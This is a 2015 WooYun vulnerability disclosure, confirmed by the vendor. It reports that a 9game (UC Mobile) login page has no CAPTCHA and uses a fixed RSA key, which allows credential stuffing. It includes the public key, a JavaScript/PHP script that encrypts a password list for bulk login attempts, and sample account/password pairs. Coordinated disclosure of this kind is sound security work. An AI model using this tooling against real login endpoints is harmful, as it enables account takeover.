当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122251

漏洞标题:uc旗下9game某接口可撞库(rsa加密撞库思路)

相关厂商:UC Mobile

漏洞作者: myhalo

提交时间:2015-06-23 13:19

修复时间:2015-08-07 18:12

公开时间:2015-08-07 18:12

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-23: 细节已通知厂商并且等待厂商处理中
2015-06-23: 厂商已经确认,细节仅向厂商公开
2015-07-03: 细节向核心白帽子及相关领域专家公开
2015-07-13: 细节向普通白帽子公开
2015-07-23: 细节向实习白帽子公开
2015-08-07: 细节向公众公开

简要描述:

找啊找啊找、找到一个页面,一看没有验证码啊、于是就撞一撞试试看啊、抓包,惊呆了,什么鬼?
又没走https咋还像加密了呢、于是仔细看了看,原来是rsa加密啊、然后就看了看,师父说可以用phantomjs,可是这一堆的匿名方法不会弄啊、于是就分析了下,直接自己js配合php写了个rsa加密脚本,就可以啦。

详细说明:

相关站点:http://ucenter.9game.com/nineday/index.html

2.png


并没有验证码,多测试了几次验证码也还是没有出来、于是抓包看看、

3.png


password加密了,256位,于是就firebug看了下、找到加密部分

4.jpg


设置下断点,然后找出公钥(测试了下这个公钥是固定了,并没有每次都生成新的)

7.jpg


找了个js rsa加密的文章,然后分析了下
http://blog.sina.com.cn/s/blog_47d78bed0100wmqh.html
跟着改了一个:
main.js

var rsa_n = "008dfbe9335c238c0bd44b069852b09e4777b8f89e2bb62a4c3329ce6723b768a82dbbd7a905ecf5156126bda317f2dbf62d67a7f3f839612726ecda77700ab3d3a17d240246fa04330e2ab63f5a4bb5337c0437100d8435624351ab7cbf2db01674033a8c49edb2b12551f064114d9a173540f2594fe1e2eaa3aff48e2a880cb3";      
function encode(password){
setMaxDigits(131);
var key = new RSAKeyPair("010001", '', rsa_n);
password = encryptedString(key, password);
document.write(password+'<br/>');
//alert(password); //test
}
//encode('password');


encode.php

<html>
<head><title>
</title>
<script src="BigInt.js"></script>
<script src="Barrett.js"></script>
<script src="RSA.js"></script>
<script src="main.js"></script>
</head>
<body>
<?php
$myfile = fopen("password.txt", "r")
or die("Unable to open file!");
while(!feof($myfile)) {
$pass = trim(fgets($myfile));
echo '
<script>encode("'.$pass.'");</script>';
}
fclose($myfile);
?>
</body>
</html>


然后结果是这样的:

6.png


代码里面还有三个rsa的库,打个包上传百度了、
http://pan.baidu.com/s/1kTh8T1P

漏洞证明:

测试账号密码测试了下:
borris borris123
yeltsin abcd1234
pittsburg pittsburgabcd
steelers steelers111

9.png


10.png


加密没错,我们就来测试是否可撞库了,1000组测试账号好了、(网速太慢)在post请求后面加个参数clearpass,以便于查看明文密码、结果如下、

11.jpg


成功率百分百、

修复方案:

rsa本来就不是拿来防爆破的,所以这里并没有问题、
加个验证码即可、

版权声明:转载请注明来源 myhalo@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-06-23 18:10

厂商回复:

您好,漏洞正在修复中。感谢您对阿里巴巴安全的关注和支持。

最新状态:

暂无